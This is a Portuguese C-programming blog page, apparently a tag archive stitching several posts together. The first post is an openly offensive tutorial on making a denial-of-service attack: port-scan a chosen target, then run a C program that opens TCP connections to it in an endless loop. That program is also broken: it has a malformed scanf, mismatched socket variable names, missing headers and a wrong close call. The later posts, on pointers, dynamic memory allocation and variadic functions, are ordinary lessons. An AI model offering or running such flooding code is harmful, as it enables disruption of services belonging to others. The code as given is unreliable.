Mostrando postagens com marcador algoritmos. Mostrar todas as postagens
Mostrando postagens com marcador algoritmos. Mostrar todas as postagens





Olá pessoal, hoje nós aprenderemos a como criar um ataque DoS, mas antes de começarmos é de fundamental importância que vocês tenham lido o tutorial de criação de sockets. Para encontrá-lo é só clicar bem aqui.

O que é um ataque DoS?


Um ataque DoS (sigla em inglês para Denial of Service) é um ataque de negação de serviço que tem como finalidade tornar os recursos de um sistema inacessíveis para seus usuários, é comumente utilizado para atacar servidores WEB tornando suas páginas hospedadas  indisponíveis. Diferente de outros ataques, o DoS não se trata de uma invasão, mas sim de uma sobrecarga fazendo com que o serviço disponibilizado "caia". 

Como fazer um ataque DoS?


Agora vamos ao que interessa, relacionado ao conteúdo aprendido no tutorial de sockets iremos aprimorar as nossas habilidades para construirmos o nosso código DoS em C, antes de tudo você deve escolher um alvo (host ativo) e realizar um portscan nele para identificar quais portas TCP estão abertas, não usaremos portas UDP pois não é possível identificar de forma simples se uma porta UDP está aberta ou filtrada por um firewall. Após isso, abra o seu terminal e escolha o editor de textos de sua preferência que iremos começar a codificar!

Criando o Código DoS em C


Primeiramente declararemos as bibliotecas que iremos usar no nosso código, no caso usaremos bibliotecas referentes a input e output, conexão e declaração de sockets e manipulação de strings:

          #include<stdio.h>
          #include<netdb.h> 
          #include<unistd.h> 
          #include<string.h>

Logo após iremos criar a nossa função principal, a main, onde estará todo o corpo do nosso código e em seguida, entre os parêntese, utilizaremos os os seguintes parâmetros para usar a passagem de argumentos:

         int main( int argc, char *argv[] ){
          

          }

Depois iremos declarar as variáves que usaremos ao longo do nosso código, inicialmente quatro variáveis inteiras, uma relacionada a criação do socket, um contador para o loop que iremos criar, outra para fazer a conexão com o nosso alvo e uma para digitarmos o número da porta por qual faremos a negação do serviço e por último um ponteiro de char que receberá o endereço ip que foi passado como argumento. Confira o exemplo abaixo:

int meuSocket;
int conectar;
        int cont; 
int porta;
char  *Ipalvo = argv[1];


Agora iremos colocar um scanf para que o usuário possa entrar com o valor da porta TCP para se conectar com o alvo.

          scanf(%d",&porta);

Após declararmos as variáveis e fazermos a leitura da porta abriremos um loop while com apenas 1 dentro dele, assim o loop ficará infinitamente, ou seja, enquanto o nosso código estiver rodando o ataque estará sendo executado.

          while(1){

          }

Dentro do while iremos criar e estabelecer a conexão com o endereço de ip passado por argumento e a porta TCP encontrada aberta, para isso faça da seguinte forma, caso tenha dúvidas sobre como criar um socket dê uma olhada no nosso tutorial de criação de sockets, lá está o passo a passo de todo o procedimento.


         struct  sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
    
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     

Para finalizar, colocaremos uma condicional de confirmação, se a conexão com servidor através da porta selecionada for bem sucedida, o código irá "printar" uma mensagem, caso não seja, ele encerrará a conexão e através do loop tentará abrir outra.


         if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                    
                                close(conectar);
                        }


No final a Estrutura do nosso código ficará como mostrado abaixo, enquanto seu algoritmo estiver rodando a conexão com o alvo continuará sendo realizada e a negação de serviço estará sendo feita e não esqueça de passar o endereço ip do alvo como argumento na hora de executar o código. Até a próxima pessoal!



#include<stdio.h>
#include<netdb.h> 
#include<unistd.h> 
#include<string.h>


int main(int argc, char *argv[]){

int meuSocket;
int conectar;
int porta;
  char  *Ipalvo = argv[1];
     
      scanf(%d",&porta);

                while(1){

       struct  sockaddr_in alvo;
       meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

       alvo.sin_family = AF_INET;
       alvo.sin_port = htons(porta);
       alvo.sin_addr.s_addr = inet_addr(Ipalvo);
     
       conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     
                        if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                      
                                close(conectar);
                        }
         }

                return 0;
 }       



Ponteiro nada mais é do que um tipo de dado, a única diferença é que o valor recebido é um endereço de memória. Como assim um endereço de memória? Pois é, cada variável que cria em seu programa está localizada em uma posição de memória, veja o exemplo a seguir:



Olá galera, hoje mostrarei como funciona a alocação dinâmica de memória, em primeiro momento vamos entender a diferença da alocação estática para a dinâmica, basicamente a alocação estática é realizada antes do programa começar a ser executado, segue alguns exemplos de alocação estática:

int idade;                                                                                                                         
char nome[20]; 
 Mas as vezes você não sabe quanto precisará utilizar de memória, e é preciso alocar dinamicamente na execução do programa, para esse gerenciamento foram criadas as funções malloc(), calloc()  e free(). Para o uso dessas funções é necessária a declaração da biblioteca <stdlib.h> que pode ser incluída facilmente em seu header assim:

#include<stdlib.h>

Malloc

A função malloc (Memory Allocation) aloca um espaço na memória do computador e devolve o endereço. Como argumento é passado o tamanho de memória que se deseja alocar, por exemplo, se quiser alocar um espaço para uma variável inteira é simples com o uso do operador sizeof que retorna o tamanho de bytes necessários para uma variável de x tipo. Então ficaria assim:

int *idade;       
idade = (int*)  malloc(sizeof(int));
O endereço devolvido por malloc é do tipo *void, por isso foi necessário o cast(conversão).
Para atribuir valores a variáveis ponteiros digite o seguinte:

*idade = 13;
Há possibilidade de que sua memória esteja toda ocupada e não permita a alocação com malloc(), caso isso ocorra malloc retornará NULL, então é sempre bom verificar:

if(idade == NULL){
printf("Memória cheia!");
}else{
printf("Alocado com sucesso!");
}

Free

Quando se aloca uma variável estáticamente ela desaparece sempre após a execução da função. Contudo quando alocamos espaço dinamicamente esses valores são mantidos na memória. Para isso a função free existe, para liberar espaço de memória alocado dinamicamente, o que esta função basicamente faz é liberar o espaço alocado com malloc para que outros processos possam utilizar este local. Free irá receber como parametro o ponteiro alocado com malloc, essa é a sintaxe:

free(idade);

 Vetores e Matrizes 

Para a criação de vetores dinamicamente, existe a função calloc que irá receber dois parametros o primeiro será o  n, ou seja, o tamanho do vetor e por último o tamanho do byte que se deseja alocar assim como malloc,  observe o exemplo abaixo:

int n;
int *p;
scanf("%d", &n);
p = (int*) calloc(n, sizeof(int));

Lembrando que a norma ANSI não permite digitar "int v[n]", a menos que n seja uma constante. O que está sendo feito acima é uma alocação de memória dinamicamente, a leitura desse vetor é feita da mesma forma que faria caso tivesse declarado um vetor estático:

int i;
for(i = 0; i < n; ++i){
    scanf("%d", &p[i]);
}
Ou da seguinte forma, andando a cada endereço:

int i;
for(i = 0; i < n; ++i){
    scanf("%d", p+i);
}

A leitura também funciona da mesma forma:

int i;
for(i = 0; i < n; ++i){
    printf("%d", p[i]);//ou *p+i
Lembrando que é possível a criação de vetores com malloc , da seguinte forma:


p = (int*) malloc(n * sizeof(int)); 
O que o código acima faz é, pedir que a memória aloque n espaços do tipo int, o que nada mais é do que um vetor.

A matriz segue na mesma linha da criação de vetores, a diferença é que será criado um vetor de vetores, com isso o seu ponteiro apontará para um ponteiro , segue exemplo abaixo:
int linhas,colunas,i;
int **matriz;
scanf("%d %d", &linhas,&colunas);
matriz = (int**) malloc( linhas * sizeof(int *));
for (i = 0; i < linhas; ++i)
matriz[i] = (int *) malloc (colunas * sizeof (int));
 O processo é simples , quando colocado dois asteristicos "**", significa que o seu ponteiro será um ponteiro para um ponteiro, que é o que precisamos para criar a nossa matriz bidimensional, lemos o número de linhas e depois o número de colunas, em primeiro momento é alocado o espaço para as linhas que serão os nossos ponteiros para cada coluna, e por último varremos todas as linhas e alocamos x colunas.

Para leitura ou escrita basta fazer do mesmo jeito, com a sintaxe matriz[i][j].

Obrigado por lerem mais uma aula de C, fiquem a vontade para perguntar nos comentários e até a próxima!
imagem funcoes variaveis



Já pensou em fazer uma função com a quantidade de argumentos que quiser? Pois bem é o que faremos hoje, um exemplo de uma função variável seria a função printf(), em que é possivel passar vários argumentos para ela como variáveis, ou textos. Faremos um exemplo que devolve o valor total da conta de uma lanchonete, segue o código comentado:

codigo funcoes variaveis


Você deve obter a seguinte saída:

saida funcoes variaveis


Até a próxima!



Como prometido no último post hoje falaremos sobre variáveis, mas o que são variáveis? Pense em variáveis como potes que guardam determinado valor, por exemplo, determinado pote de sua casa guarda o arroz ou o leite, aqui em nossos programas as variáveis também guardam determinados tipos de valores como veremos logo abaixo, o primeiro tipo que veremos é o int, esse pote guardará números inteiros, olha só como declaramos no nosso arquivo fonte: